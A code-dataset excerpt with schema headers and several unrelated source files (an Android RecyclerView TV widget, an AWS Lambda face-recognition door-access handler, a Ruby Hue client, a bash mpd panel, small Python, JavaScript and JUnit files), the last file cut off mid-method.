language
stringclasses
15 values
src_encoding
stringclasses
34 values
length_bytes
int64
6
7.85M
score
float64
1.5
5.69
int_score
int64
2
5
detected_licenses
listlengths
0
160
license_type
stringclasses
2 values
text
stringlengths
9
7.85M
Java
UTF-8
6,640
2.046875
2
[]
no_license
package com.vdolrm.lrmutils.Test; import android.content.Context; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.LinearLayout; import android.widget.TextView; import com.google.android.material.tabs.TabLayout; import com.vdolrm.lrmutils.Adapter.PageAdapter.BaseFragmentPagerAdapter; import com.vdolrm.lrmutils.Adapter.RecyclerViewAdapter.BaseMyAdapter; import com.vdolrm.lrmutils.Adapter.RecyclerViewAdapter.BaseViewHolder; import com.vdolrm.lrmutils.Adapter.RecyclerViewAdapter.OnRecyclerViewItemClickListener; import com.vdolrm.lrmutils.BaseFloorActivity; import com.vdolrm.lrmutils.LogUtils.MyLog; import com.vdolrm.lrmutils.R; import com.vdolrm.lrmutils.UIUtils.UIUtils; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import androidx.annotation.Nullable; import androidx.appcompat.app.ActionBar; import androidx.appcompat.widget.Toolbar; import androidx.fragment.app.Fragment; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import androidx.viewpager.widget.ViewPager; /** * recyclerview的adapter内的布局 假如textview设置了singline则可能导致viewpager不能滑动 */ public class TestFragmentViewPagerFloorActivity extends BaseFloorActivity { private Toolbar toolbar; private TabLayout tabLayout; private ViewPager viewPager; private BaseFragmentPagerAdapter fragmentPagerAdapter; private List<String> list_title = Arrays.asList(new String[]{"titel1", "title2", "title3"}); private List<Fragment> list_fragment = new ArrayList<Fragment>(); private void assignViews() { toolbar = (Toolbar) findViewById(R.id.toolbar); tabLayout = (TabLayout) findViewById(R.id.tabLayout); viewPager = (ViewPager) findViewById(R.id.viewPager); } @Override public void initView() { setContentView(R.layout.activity_test_fragment_view_pager); } @Override public void init() { assignViews(); } @Override public void initToolBar() { super.initToolBar(); if(toolbar!=null) { toolbar.setTitle("问题列表"); setSupportActionBar(toolbar); } ActionBar actionBar = getSupportActionBar(); if (actionBar != null) { //actionBar.setHomeAsUpIndicator(android.R.drawable.arrow_down_float);//替换原来系统默认的返回箭头 actionBar.setDisplayHomeAsUpEnabled(true);// 给左上角图标的左边加上一个返回的图标 } } @Override public void initEvent() { for (int i = 0; i < list_title.size(); i++) { TestFragment testFragment = TestFragment.newInstance("t1"); list_fragment.add(testFragment); } fragmentPagerAdapter = new BaseFragmentPagerAdapter(getSupportFragmentManager(), list_title, list_fragment); viewPager.setAdapter(fragmentPagerAdapter); tabLayout.setTabMode(TabLayout.MODE_FIXED); tabLayout.setupWithViewPager(viewPager); } public static class TestFragment extends Fragment { private static final String KEY_CONTENT = "BaseFragment"; private String mContent = "???"; public static TestFragment newInstance(String content) { TestFragment fragment = new TestFragment(); fragment.mContent = content; Bundle b = new Bundle(); b.putString(KEY_CONTENT, content); fragment.setArguments(b); MyLog.d("创建fragment " + content); return fragment; } private RecyclerView recyclerView; private MyAdapter adapter; private List<String> list = new ArrayList<>(); @Nullable @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View v = inflater.inflate(R.layout.fragment_recyclerview,null); LinearLayout.LayoutParams lp = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT); v.setLayoutParams(lp); recyclerView = (RecyclerView) v.findViewById(R.id.mRecyclerView); lazyLoad(); return v; } public void lazyLoad() { MyLog.d("lazyLoad() called with: " + ""); for(int i=0;i<20;i++){ list.add("hellohellohellohellohellohello"+i); } recyclerView.setLayoutManager(new LinearLayoutManager(this.getActivity())); adapter = new MyAdapter(getContext(),list); recyclerView.setAdapter(adapter); adapter.setOnRecyclerViewItemClickListener(new OnRecyclerViewItemClickListener() { @Override public void onItemClick(int position) { MyLog.d("onItemClick() called with: " + "position = [" + position + "]"); } @Override public boolean onItemLongClick(int position) { MyLog.d("onItemLongClick() called with: " + "position = [" + position + "]"); return false; } }); } } private static class MyAdapter extends BaseMyAdapter<String, MyHolder> { public MyAdapter(Context c, List list) { super(c, list); } @Override public View getItemView(ViewGroup parent) { View v = UIUtils.inflate(R.layout.item_testrecyclerviewadapte2r); LinearLayout.LayoutParams lp = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT); v.setLayoutParams(lp); return v; } @Override public void onBind(int position, String bean, View itemView, MyHolder holder) { holder.tv_test.setText(bean); } @Override public MyHolder getHolder(View itemView, View itemRootView, OnRecyclerViewItemClickListener onRecyclerViewItemClickListener) { return new MyHolder(itemView, itemRootView, onRecyclerViewItemClickListener); } } private static class MyHolder extends BaseViewHolder { public TextView tv_test; public MyHolder(View itemView, View itemRootView, OnRecyclerViewItemClickListener onRecyclerViewItemClickListener) { super(itemView, itemRootView, onRecyclerViewItemClickListener); tv_test = (TextView) itemRootView.findViewById(R.id.tv_test); } } }
Java
UTF-8
1,025
2.421875
2
[]
no_license
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package miagesorbonne.geniusbot.plugins; import org.junit.Test; import static org.junit.Assert.*; /** * * @author Amine Amanzou <amineamanzou@gmail.com> */ public class MeteoPluginTest { public MeteoPluginTest() { } /** * Test of getResponse method, of class MeteoPlugin. */ @Test public void testGetResponse() { System.out.println("getResponse"); String condition = "now"; MeteoPlugin instance = new MeteoPlugin(); String expResult = ""; String result = instance.getResponse(condition); assertEquals(result, result); condition = "demain"; result = instance.getResponse(condition); assertEquals(result, result); condition = "apresdemain"; result = instance.getResponse(condition); assertEquals(result, result); } }
JavaScript
UTF-8
1,318
2.71875
3
[]
no_license
// connect the Select Run checkbox list to charts, to enable the hiding function $(document).ready(function(){ // $( ".runsListItem input:checkbox" ).each(function(event){ // runName = $(this).attr('id').slice(0,-"Checkbox".length); var targetChart = "#"+$(this).attr('id').slice(0,-"Checkbox".length)+"Chart"; // targetChart = "#"+runName+"Chart.chartFrame.js-plotly-plot"; // console.log(targetChart); // console.log($(targetChart)); // initial update of charts in show if(this.checked) { $(targetChart).show(); } else { $(targetChart).hide(); } //dynamic update of charts in show $(this).change(function(){ var targetChart = "#"+$(this).attr('id').slice(0,-"Checkbox".length)+"Chart"; console.log(targetChart+" css display property was: "+$(targetChart).css("display")); console.log("something changed: "+targetChart+" should disappear."); $(targetChart).toggle('slow'); // $(targetChart).css("display","none"); console.log(targetChart+" css display property is now: "+$(targetChart).css("display")); $("label[for='" + $(this).attr('id') + "']").toggleClass("uncheckedLabel"); }); }); });
Python
UTF-8
937
2.703125
3
[]
no_license
import pygame import random from Windows.Objects import * def display(size): objects = [] objects.append(Image.Image("background", "assets/img/background_menu.png", (size[0] / 2), (size[1] / 2), event=False)) objects.append(Text.Text("level", "Levels:", (size[0] / 2) - 790, (size[1] / 2) - 130, font = pygame.font.Font("assets/font/Snufkin.otf", 80), event=False)) objects.append(Text.Text("easy", "Easy", (size[0] / 2) - 790, (size[1] / 2), 50, colorHover = (126, 254, 106), font = pygame.font.Font("assets/font/Snufkin.otf", 50))) objects.append(Text.Text("normal", "Normal", (size[0] / 2) - 790, (size[1] / 2) + 100, 50, colorHover = (248, 251, 28), font = pygame.font.Font("assets/font/Snufkin.otf", 50))) objects.append(Text.Text("difficult", "Difficult", (size[0] / 2) - 790, (size[1] / 2) + 200, 50, colorHover = (247, 57, 27), font = pygame.font.Font("assets/font/Snufkin.otf", 50))) return objects
Shell
UTF-8
1,973
3.484375
3
[]
no_license
#!/bin/bash set -euo pipefail # mpc idleloop, how to start when mpd inactive music(){ declare mpc_status declare control if [[ $(systemctl is-active mpd) == "active" ]]; then mpc_status=$(mpc | grep -oP "(?<=\[)[a-z]*(?=\])") if [[ ${mpc_status} == "playing" ]]; then control="^ca(1, mpc prev &>/dev/null;[[ -e /tmp/panel.pipe ]] && echo -e 'player\t' >> /tmp/panel.pipe)玲^ca() ^ca(1, mpc toggle &>/dev/null;[[ -e /tmp/panel.pipe ]] && echo -e 'player\t' >> /tmp/panel.pipe)^ca() ^ca(1, mpc next &>/dev/null;[[ -e /tmp/panel.pipe ]] && echo -e 'player\t' >> /tmp/panel.pipe)怜^ca()" else control="^ca(1, mpc prev &>/dev/null;[[ -e /tmp/panel.pipe ]] && echo -e 'player\t' >> /tmp/panel.pipe)玲^ca() ^ca(1, mpc toggle &>/dev/null;[[ -e /tmp/panel.pipe ]] && echo -e 'player\t' >> /tmp/panel.pipe)^ca() ^ca(1, mpc next &>/dev/null;[[ -e /tmp/panel.pipe ]] && echo -e 'player\t' >> /tmp/panel.pipe)怜^ca()" fi echo "^ca(1,[[ -e /tmp/panel.pipe ]] && echo -e 'player\t' >> /tmp/panel.pipe)^fn(SF Mono-16)ﱘ^fn()^ca() ^fn(PingFang SC-12)$(mpc current 2>/dev/null)^fn() ${control}" else echo "^ca(1,[[ -e /tmp/panel.pipe ]] && echo -e 'player\t' >> /tmp/panel.pipe)^fn(SF Mono-16)ﱙ^fn()^ca()" fi } main(){ declare monitor=${1:-0} declare pipe="/tmp/panel.pipe" declare mpd_init_state=$(systemctl is-active mpd) trap "echo clean && rm $pipe" 2 9 15 IFS=$'\t' [[ ! -e $pipe ]] && mkfifo $pipe [[ ${mpd_init_state} == "active" ]] && mpc idleloop >> "$pipe" & { music if [[ ${mpd_init_state} == "inactive" ]]; then pgrep mpc || mpc idleloop >> "$pipe" & fi while read -ra event < $pipe; do if [[ event[0]=="player" ]]; then music fi done } | dzen2 -fn "SF Mono-16" -h 27 -p -xs $((monitor+1)) } [[ "$0" == "$BASH_SOURCE" ]] && main "$@" || true
Python
UTF-8
7,309
2.71875
3
[]
no_license
import json import boto3 from boto3.dynamodb.conditions import Key from botocore.exceptions import ClientError import time import re from random import randint # Auth ACCESS_KEY = '' SECRET_KEY = '' REGION = '' # DynamoDB dynamodb = boto3.resource('dynamodb', aws_access_key_id=ACCESS_KEY, aws_secret_access_key=SECRET_KEY, region_name=REGION) visitorsTable = dynamodb.Table('visitors') passcodesTable = dynamodb.Table('passcodes') # S3 s3 = boto3.client('s3', aws_access_key_id=ACCESS_KEY, aws_secret_access_key=SECRET_KEY, region_name=REGION) bucketname = 'smart-door-2020' # SNS sns = boto3.client('sns', aws_access_key_id=ACCESS_KEY, aws_secret_access_key=SECRET_KEY, region_name=REGION) def lambda_handler(event, context): print(event) body = json.loads(event) print(body) validation_result = validate(body) if validation_result["isValid"]: v_name = body["v_name"] v_phone = body["v_number"] v_phone = clean_phone(v_phone) v_phone = format_phone(v_phone) image_key = body["image_key"] print(f"Name: {v_name}") print(f"PhoneNumber: {v_phone}") print(f"Image Key: {image_key}") # Index the face and get the faceID faceId = index_face_and_get_faceId(bucketname, image_key, v_name) if not faceId: return build_response(500, {"message": {'contentType': 'PlainText', 'content': "No face detected"}}) # Store into DynamoDB Tables store_into_visitors(faceId, image_key, v_name, v_phone) store_into_passcodes(faceId) res_body = {"message": f"Visitor {v_name} is now added to the database."} response = build_response(200, res_body) else: response = build_response( 500, {"message": validation_result["message"]}) return response def validate(body): if not body: return build_validation_result( False, 'body', 'There is no body in the event' ) v_name = body.get("v_name", None) v_phone = body.get("v_number", None) v_phone = clean_phone(v_phone) image_key = body.get("image_key", None) if not v_name: return build_validation_result( False, 'v_name', 'There is no name in the body' ) if not v_phone: return build_validation_result( False, 'v_number', 'There is no phone number in the body' ) if not isvalid_phone(v_phone): return build_validation_result( False, 'v_number', 'The phone number entered is invalid' ) if not image_key: return build_validation_result( False, 'image_key', 'There is no image key in the body' ) if not isvalid_image_key(image_key): return build_validation_result( False, 'image_key', 'The image key provided is invalid.' ) return {'isValid': True} def clean_phone(phone): phone = re.sub(r'[^0-9]', "", phone) if phone and phone[0] == '1': phone = phone[1:] return phone def isvalid_phone(phone): if len(phone) != 10: return False return True def format_phone(phone): us_prefix = "+1" return us_prefix + phone def isvalid_image_key(image_key): try: search_image = s3.get_object( Bucket=bucketname, Key=image_key ) print(search_image) return True except: return False def store_into_visitors(faceId, image_key, v_name, v_phone): # image_key = 'kvs1_20201112-224107.jpeg' ymd, hms = image_key.split('.')[0].split('_')[1].split('-') createdTimestamp = f"{ymd[:4]}-{ymd[4:6]}-{ymd[-2:]}T{hms[:2]}:{hms[2:4]}:{hms[-2:]}" new_photo = [{"objectKey": image_key, "bucket": bucketname, "createdTimestamp": createdTimestamp}] upload_visiotr = visitorsTable.put_item( Item={ "faceId": faceId, "name": v_name, "phoneNumber": v_phone, "photos": new_photo }) print(upload_visiotr) def store_into_passcodes(faceId): visitorsResponse = visitorsTable.query(KeyConditionExpression=Key('faceId').eq(faceId)) print(visitorsResponse['Items']) if len(visitorsResponse['Items']) > 0: phone_number = visitorsResponse['Items'][0]['phoneNumber'] name = visitorsResponse['Items'][0]['name'] currentTime = int(time.time()) print(currentTime) passcodesResponse = passcodesTable.query(KeyConditionExpression=Key('faceId').eq(faceId), FilterExpression=Key('ttl').gt(currentTime)) if len(passcodesResponse['Items']) > 0: otp = passcodesResponse['Items'][0]['passcode'] else: otp = randint(10 ** 5, 10 ** 6 - 1) upload_new_otp = passcodesTable.put_item( Item={ "passcode": otp, "faceId": faceId, "ttl": int(time.time() + 5 * 60), "used": False }) access_link = f"https://{bucketname}.s3.amazonaws.com/static/html/wp2.html?faceId={faceId}" message = f"Welcome, {name}! Please click the link {access_link} to unlock the door. Your OTP is {otp} and it will expire in 5 minutes and can be only used once." sns.publish( PhoneNumber=phone_number, Message=message ) print(f'Message "{message}" sent.') def build_response(status_code, body): response = {} response["statusCode"] = status_code response["body"] = body response["headers"] = { "Content-Type": "application/json", "Access-Control-Allow-Origin": "*", "Access-Control-Allow-Methods": "GET,HEAD,OPTIONS,POST,PUT", "Access-Control-Allow-Headers": "Access-Control-Allow-Headers, Origin,Accept, X-Requested-With, Content-Type, Access-Control-Request-Method, Access-Control-Request-Headers" } print(f"Response: {response['body']}") return response def build_validation_result(isvalid, violated_slot, message_content): return { 'isValid': isvalid, 'violatedSlot': violated_slot, 'message': message_content } def index_face_and_get_faceId(bucketname, image_key, v_name): rekognition = boto3.client("rekognition", aws_access_key_id=ACCESS_KEY, aws_secret_access_key=SECRET_KEY, region_name=REGION) response = rekognition.index_faces( Image={ "S3Object": { "Bucket": bucketname, "Name": image_key, } }, CollectionId='FaceCollection', ExternalImageId=v_name, DetectionAttributes=['ALL'], MaxFaces=1, QualityFilter='AUTO' ) face_records = response['FaceRecords'] if face_records and len(face_records) > 0: return face_records[0]['Face']['FaceId'] else: return None
Ruby
UTF-8
4,636
2.609375
3
[ "MIT" ]
permissive
require File.expand_path('../portal_state', __FILE__) require File.expand_path('../software_update', __FILE__) require File.expand_path('../whitelist_users', __FILE__) module Hue module Client module Models class Configuration # Creates an instance of the Configuration object # # @return [Hue::Client::Models::Configuration] Self def initialize(attributes={}) @attributes = attributes end # Returns the PortalState object # # @return [Hue::Client::Models::PortalState] def portal_state PortalState.new(@attributes.fetch('portalstate', {})) end # Returns the SoftwareUpdate object # # @return [Hue::Client::Models::SoftwareUpdate] def software_update SoftwareUpdate.new(@attributes.fetch('swupdate', {})) end # Returns the WhitelistUsers collection # # @return [Hue::Client::Models::WhitelistUsers] def whitelist_users WhitelistUsers.new(@attributes.fetch('whitelist', {})) end alias :users :whitelist_users # Query method for Whitelist Users # # @return [Boolean] Users query method response def whitelist_users? self.whitelist_users.any? end alias :users? :whitelist_users? # @return [String] def portalconnection @attributes.fetch('portalconnection', 'disconnected') end alias :portal_connection :portalconnection # @return [Boolean] def portalservices @attributes.fetch('portalservices', false) end alias :portal_services :portalservices # Returns the proxy port used # # @return [Integer] Proxy port def proxyport @attributes.fetch('proxyport', 0) end alias :proxy_port :proxyport # Returns the proxy address used # # @return [String] None or Proxy address def proxyaddress @attributes.fetch('proxyaddress', 'none') end alias :proxy_address :proxyaddress # Returns the mac address used # # @return [String] Mac Address def mac @attributes.fetch('mac', nil) end alias :mac_address :mac # Returns the netmask # # @return [String] Netmask def netmask @attributes.fetch('netmask', nil) end # Returns the DHCP status # # @return [Boolean] def dhcp @attributes.fetch('dhcp', false) end alias :dhcp? :dhcp # Returns the gateway used # # @return [String] Gateway def gateway @attributes.fetch('gateway', nil) end # Returns the IP Address of the bridge # # @return [String] IP Address def ipaddress @attributes.fetch('ipaddress', nil) end alias :ip_address :ipaddress # Returns the UTC timestamp # # @return [String] Timestamp String def utc @attributes.fetch('UTC', nil) end # Returns the name of the bridge # # @return [String] Name of bridge def name @attributes.fetch('name', nil) end # Returns the timezone of the bridge # # @return [String] Timezone def timezone @attributes.fetch('timezone', nil) end # Returns the local time of the bridge # # @return [String] Timestamp String def localtime @attributes.fetch('localtime', nil) end alias :local_time :localtime # Return the local time as DateTime # # @return [DateTime] DateTime object def current_time begin Time.parse(self.localtime) rescue nil end end # Return the version of the software on the bridge # # @return [String] Software version def swversion @attributes.fetch('swversion', nil) end alias :software_version :swversion # Return the current API version of the bridge # # @return [String] API version def apiversion @attributes.fetch('apiversion', nil) end alias :api_version :apiversion def linkbutton @attributes.fetch('linkbutton', false) end alias :link_button :linkbutton alias :link_button? :linkbutton end end end end
Java
UTF-8
27,781
1.875
2
[]
no_license
package com.open.androidtvwidget.leanback.recycle; import android.animation.Animator; import android.animation.ObjectAnimator; import android.content.Context; import android.content.Intent; import android.graphics.Rect; import android.os.Build; import android.support.v4.view.ViewCompat; import android.support.v4.view.ViewPager; import android.support.v7.widget.GridLayoutManager; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.util.AttributeSet; import android.util.Log; import android.view.KeyEvent; import android.view.MotionEvent; import android.view.View; import android.view.ViewGroup; import android.view.animation.Animation; import android.view.animation.AnticipateInterpolator; import android.view.animation.BounceInterpolator; import android.view.animation.ScaleAnimation; import android.view.animation.TranslateAnimation; import android.widget.Toast; import com.open.androidtvwidget.R; import com.open.androidtvwidget.bean.DetailBean; import com.open.androidtvwidget.bean.HomeBean; import com.open.androidtvwidget.bean.MovieDetailBean; import com.open.androidtvwidget.bean.Pg_DetailBean; import com.open.androidtvwidget.bean.ZhuanTiBean; import com.open.androidtvwidget.leanback.adapter.GeneralAdapter; import com.open.androidtvwidget.leanback.recycle.impl.PrvInterface; import com.open.androidtvwidget.utils.XiaoCuiTag; import java.util.ArrayList; /** * RecyclerView TV适配版本. * https://github.com/zhousuqiang/TvRecyclerView(参考源码) */ public class RecyclerViewTV extends RecyclerView implements PrvInterface { protected boolean isScrolling = false; public void setScrolling(boolean scrolling) { isScrolling = scrolling; } public boolean getScrolling() { return isScrolling; } public RecyclerViewTV(Context context) { this(context, null); } public RecyclerViewTV(Context context, AttributeSet attrs) { this(context, attrs, -1); } public RecyclerViewTV(Context context, AttributeSet attrs, int defStyle) { super(context, attrs, defStyle); init(context); } private View mItemView; private boolean mSelectedItemCentered = true; private int mSelectedItemOffsetStart; private int mSelectedItemOffsetEnd; private int position = 0; private OnItemListener mOnItemListener; private OnItemClickListener mOnItemClickListener; // item 单击事件. private ItemListener mItemListener; private int offset = -1; private OnChildViewHolderSelectedListener mChildViewHolderSelectedListener; private void init(Context context) { setDescendantFocusability(FOCUS_AFTER_DESCENDANTS); setHasFixedSize(true); setWillNotDraw(true); setOverScrollMode(View.OVER_SCROLL_NEVER); setChildrenDrawingOrderEnabled(true); // setClipChildren(false); setClipToPadding(false); setClickable(false); setFocusable(true); setFocusableInTouchMode(true); // mItemListener = new ItemListener() { /** * 子控件的点击事件 * @param itemView */ @Override public void onClick(View itemView) { if (null != mOnItemClickListener) { mOnItemClickListener.onItemClick(RecyclerViewTV.this, itemView, getChildLayoutPosition(itemView)); } } /** * 子控件的焦点变动事件 * @param itemView * @param hasFocus */ @Override public void onFocusChange(View itemView, boolean hasFocus) { if (null != mOnItemListener) { if (null != itemView) { mItemView = itemView; // 选中的item. itemView.setSelected(hasFocus); if (hasFocus) { mOnItemListener.onItemSelected(RecyclerViewTV.this, itemView, getChildLayoutPosition(itemView)); } else { mOnItemListener.onItemPreSelected(RecyclerViewTV.this, itemView, getChildLayoutPosition(itemView)); } } } } }; } private int getFreeWidth() { return getWidth() - getPaddingLeft() - getPaddingRight(); } private int getFreeHeight() { return getHeight() - getPaddingTop() - getPaddingBottom(); } @Override public void onChildAttachedToWindow(View child) { // 设置单击事件,修复. if (!child.hasOnClickListeners()) { child.setOnClickListener(mItemListener); } // 设置焦点事件,修复. if (child.getOnFocusChangeListener() == null) { child.setOnFocusChangeListener(mItemListener); } } @Override protected void onFocusChanged(boolean gainFocus, int direction, Rect previouslyFocusedRect) { Log.e("TAA", "gainFocus:" + gainFocus + " ,direction=" + direction); super.onFocusChanged(gainFocus, direction, previouslyFocusedRect); } @Override public boolean hasFocus() { return super.hasFocus(); } @Override public boolean isInTouchMode() { // 解决4.4版本抢焦点的问题 if (Build.VERSION.SDK_INT == 19) { return !(hasFocus() && !super.isInTouchMode()); } else { return super.isInTouchMode(); } } @Override public void requestChildFocus(View child, View focused) { // 一行的选中. if (mChildViewHolderSelectedListener != null) { int pos = getPositionByView(child); ViewHolder vh = getChildViewHolder(child); mChildViewHolderSelectedListener.onChildViewHolderSelected(this, vh, pos); } // if (null != child) { if (mSelectedItemCentered) { mSelectedItemOffsetStart = !isVertical() ? (getFreeWidth() - child.getWidth()) : (getFreeHeight() - child.getHeight()); mSelectedItemOffsetStart /= 2; mSelectedItemOffsetEnd = mSelectedItemOffsetStart; } } // Log.e("TAA","requestChildFocus检测:"+child+"______________"+focused); super.requestChildFocus(child, focused); } @Override public boolean requestChildRectangleOnScreen(View child, Rect rect, boolean immediate) { final int parentLeft = getPaddingLeft(); final int parentTop = getPaddingTop(); final int parentRight = getWidth() - getPaddingRight(); final int parentBottom = getHeight() - getPaddingBottom(); final int childLeft = child.getLeft() + rect.left; final int childTop = child.getTop() + rect.top; // final int childLeft = child.getLeft() + rect.left - child.getScrollX(); // final int childTop = child.getTop() + rect.top - child.getScrollY(); final int childRight = childLeft + rect.width(); final int childBottom = childTop + rect.height(); final int offScreenLeft = Math.min(0, childLeft - parentLeft - mSelectedItemOffsetStart); final int offScreenTop = Math.min(0, childTop - parentTop - mSelectedItemOffsetStart); final int offScreenRight = Math.max(0, childRight - parentRight + mSelectedItemOffsetEnd); final int offScreenBottom = Math.max(0, childBottom - parentBottom + mSelectedItemOffsetEnd); final boolean canScrollHorizontal = getLayoutManager().canScrollHorizontally(); final boolean canScrollVertical = getLayoutManager().canScrollVertically(); // Favor the "start" layout direction over the end when bringing one side or the other // of a large rect into view. If we decide to bring in end because start is already // visible, limit the scroll such that start won't go out of bounds. final int dx; if (canScrollHorizontal) { if (ViewCompat.getLayoutDirection(this) == ViewCompat.LAYOUT_DIRECTION_RTL) { dx = offScreenRight != 0 ? offScreenRight : Math.max(offScreenLeft, childRight - parentRight); } else { dx = offScreenLeft != 0 ? offScreenLeft : Math.min(childLeft - parentLeft, offScreenRight); } } else { dx = 0; } // Favor bringing the top into view over the bottom. If top is already visible and // we should scroll to make bottom visible, make sure top does not go out of bounds. final int dy; if (canScrollVertical) { dy = offScreenTop != 0 ? offScreenTop : Math.min(childTop - parentTop, offScreenBottom); } else { dy = 0; } if (cannotScrollForwardOrBackward(isVertical() ? dy : dx)) { offset = -1; } else { offset = isVertical() ? dy : dx; if (dx != 0 || dy != 0) { if (immediate) { scrollBy(dx, dy); } else { smoothScrollBy(dx, dy); } return true; } } // 重绘是为了选中item置顶,具体请参考getChildDrawingOrder方法 postInvalidate(); return false; } private boolean cannotScrollForwardOrBackward(int value) { // return cannotScrollBackward(value) || cannotScrollForward(value); return false; } /** * 判断第一个位置,没有移动. * getStartWithPadding --> return (mIsVertical ? getPaddingTop() : getPaddingLeft()); */ public boolean cannotScrollBackward(int delta) { return (getFirstVisiblePosition() == 0 && delta <= 0); } /** * 判断是否达到了最后一个位置,没有再移动了. * getEndWithPadding --> mIsVertical ? (getHeight() - getPaddingBottom()) : * (getWidth() - getPaddingRight()); */ public boolean cannotScrollForward(int delta) { return ((getFirstVisiblePosition() + getLayoutManager().getChildCount()) == getLayoutManager().getItemCount()) && (delta >= 0); } @Override public int getBaseline() { return offset; } @Override public void smoothScrollBy(int dx, int dy) { // ViewFlinger --> smoothScrollBy(int dx, int dy, int duration, Interpolator interpolator) // ViewFlinger --> run --> hresult = mLayout.scrollHorizontallyBy(dx, mRecycler, mState); // LinearLayoutManager --> scrollBy --> mOrientationHelper.offsetChildren(-scrolled); super.smoothScrollBy(dx, dy); } public int getSelectedItemOffsetStart() { return mSelectedItemOffsetStart; } public int getSelectedItemOffsetEnd() { return mSelectedItemOffsetEnd; } @Override public void setLayoutManager(LayoutManager layout) { super.setLayoutManager(layout); } /** * 判断是垂直,还是横向. */ private boolean isVertical() { LinearLayoutManager layout = (LinearLayoutManager) getLayoutManager(); return layout.getOrientation() == LinearLayoutManager.VERTICAL; } /** * 设置选中的Item距离开始或结束的偏移量; * 与滚动方向有关; * 与setSelectedItemAtCentered()方法二选一 * * @param offsetStart * @param offsetEnd 从结尾到你移动的位置. */ public void setSelectedItemOffset(int offsetStart, int offsetEnd) { setSelectedItemAtCentered(false); this.mSelectedItemOffsetStart = offsetStart; this.mSelectedItemOffsetEnd = offsetEnd; } /** * 设置选中的Item居中; * 与setSelectedItemOffset()方法二选一 * * @param isCentered */ public void setSelectedItemAtCentered(boolean isCentered) { this.mSelectedItemCentered = isCentered; } public View getSelectView() { if (mItemView == null) mItemView = getFocusedChild(); return mItemView; } public int getSelectPostion() { View view = getSelectView(); if (view != null) return getPositionByView(view); return -1; } @Override protected int getChildDrawingOrder(int childCount, int i) { View view = getFocusedChild(); if (null != view) { position = getChildAdapterPosition(view) - getFirstVisiblePosition(); // if ("one".equals(getTag())) { // position=0; // Log.e("TAA", "经过的position:" + position); // } if (position < 0) { return i; } else { if (i == childCount - 1) {//这是最后一个需要刷新的item if (position > i) { position = i; } return position; } if (i == position) {//这是原本要在最后一个刷新的item return childCount - 1; } } } return i; } public int getFirstVisiblePosition() { if (getChildCount() == 0) return 0; else return getChildLayoutPosition(getChildAt(0)); } public int getLastVisiblePosition() { final int childCount = getChildCount(); if (childCount == 0) return 0; else return getChildLayoutPosition(getChildAt(childCount - 1)); } @Override public void onScrollStateChanged(int state) { if (state == SCROLL_STATE_IDLE) { offset = -1; final View focuse = getFocusedChild(); if (null != mOnItemListener && null != focuse) { mOnItemListener.onReviseFocusFollow(this, focuse, getChildLayoutPosition(focuse)); } } super.onScrollStateChanged(state); } private interface ItemListener extends OnClickListener, OnFocusChangeListener { } public interface OnItemListener { void onItemPreSelected(RecyclerViewTV parent, View itemView, int position); void onItemSelected(RecyclerViewTV parent, View itemView, int position); void onReviseFocusFollow(RecyclerViewTV parent, View itemView, int position); } public interface OnChildViewHolderSelectedListener { public void onChildViewHolderSelected(RecyclerView parent, ViewHolder vh, int position); } public interface OnItemClickListener { void onItemClick(RecyclerViewTV parent, View itemView, int position); } public void setOnItemListener(OnItemListener onItemListener) { this.mOnItemListener = onItemListener; } public void setOnItemClickListener(OnItemClickListener onItemClickListener) { this.mOnItemClickListener = onItemClickListener; } /** * 控制焦点高亮问题. * 2016.08.29 */ public void setOnChildViewHolderSelectedListener(OnChildViewHolderSelectedListener listener) { mChildViewHolderSelectedListener = listener; } private int getPositionByView(View view) { if (view == null) { return NO_POSITION; } LayoutParams params = (LayoutParams) view.getLayoutParams(); if (params == null || params.isItemRemoved()) { // when item is removed, the position value can be any value. return NO_POSITION; } return params.getViewPosition(); } /////////////////// 按键加载更多 start start start ////////////////////////// private PagingableListener mPagingableListener; private boolean isLoading = false; public interface PagingableListener { void onLoadMoreItems(); } @Override public void setOnLoadMoreComplete() { isLoading = false; } @Override public void setPagingableListener(PagingableListener pagingableListener) { this.mPagingableListener = pagingableListener; } @Override public boolean dispatchKeyEvent(KeyEvent event) { int action = event.getAction(); int keyCode = event.getKeyCode(); if (action == KeyEvent.ACTION_UP) { if (!isHorizontalLayoutManger() && keyCode == KeyEvent.KEYCODE_DPAD_DOWN) { // 垂直布局向下按键. exeuteKeyEvent(); } else if (isHorizontalLayoutManger() && keyCode == KeyEvent.KEYCODE_DPAD_RIGHT) { // 横向布局向右按键. exeuteKeyEvent(); } } return super.dispatchKeyEvent(event); } private boolean exeuteKeyEvent() { if( getLayoutManager()!=null){ int totalItemCount = getLayoutManager().getItemCount(); int lastVisibleItem = findLastVisibleItemPosition(); int lastComVisiPos = findLastCompletelyVisibleItemPosition(); int visibleItemCount = getChildCount(); int firstVisibleItem = findFirstVisibleItemPosition(); // 判断是否显示最底了. if (!isLoading && totalItemCount - visibleItemCount <= firstVisibleItem) { isLoading = true; if (mPagingableListener != null) { // OPENLOG.D(" totalItemCount: " + totalItemCount + // " lastVisibleItem: " + lastVisibleItem + // " lastComVisiPos: " + lastComVisiPos); mPagingableListener.onLoadMoreItems(); return true; } } } return false; } /** * 判断是否为横向布局 */ private boolean isHorizontalLayoutManger() { LayoutManager lm = getLayoutManager(); if (lm != null) { if (lm instanceof LinearLayoutManager) { LinearLayoutManager llm = (LinearLayoutManager) lm; return LinearLayoutManager.HORIZONTAL == llm.getOrientation(); } if (lm instanceof GridLayoutManager) { GridLayoutManager glm = (GridLayoutManager) lm; return GridLayoutManager.HORIZONTAL == glm.getOrientation(); } } return false; } /** * 最后的位置. */ public int findLastVisibleItemPosition() { LayoutManager layoutManager = getLayoutManager(); if (layoutManager != null) { if (layoutManager instanceof LinearLayoutManager) { return ((LinearLayoutManager) layoutManager).findLastVisibleItemPosition(); } if (layoutManager instanceof GridLayoutManager) { return 